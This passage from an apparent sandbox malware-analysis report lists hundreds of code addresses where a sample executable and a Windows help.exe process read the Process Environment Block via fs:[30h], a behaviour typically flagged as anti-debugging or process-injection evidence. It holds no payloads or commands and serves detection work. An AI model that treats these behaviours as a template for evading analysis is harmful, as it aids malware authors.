Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01918DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01938D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192E539 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01894D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01894D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01894D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01873D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186AD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018EA537 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A3D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E3540 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01913D40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01887D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187849B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01938CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019214FB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0193740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0193740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0193740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188746D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01878794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A37F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0193070D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0193070D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01864F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01864F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187EF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187FF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01938F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FFE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E46A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01930EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01930EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01930EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01938ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018936CC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A8EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0191FEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018776E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018916E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01898E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921608 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186E620 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0191FE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01877E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01877E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01877E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01877E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01877E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01877E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187766D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F2397 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A95BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FB390 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D1B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D1B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8138A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A7D380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F4BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F4BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F4BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A453CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A453CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039EDBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8131B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CF358 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CDB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F3B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F3B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A98B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CDB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FD294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FD294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DAAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DAAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FFAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F2ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F2AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039E3A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A04A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A04A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C5210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C5210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C5210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C5210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D8A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A7B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A7B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A98A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A0927A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A54257 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8EA55 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A469A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F2990 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FA185 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A451BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A451BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A451BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A451BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039EC182 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F61A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F61A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A541E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039E4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039E4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039E4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039E4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039E4120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039EB944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039EB944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CC962 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A090AF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C9080 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FF0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FF0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FF0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A43884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A43884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C58EC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A5B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A5B8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A5B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A5B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A5B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A5B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A47016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A47016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A47016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A94015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A94015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039E0050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039E0050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A82073 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A91074 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D8794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A47794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A47794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A47794 mov eax, dword ptr fs:[00000030h]
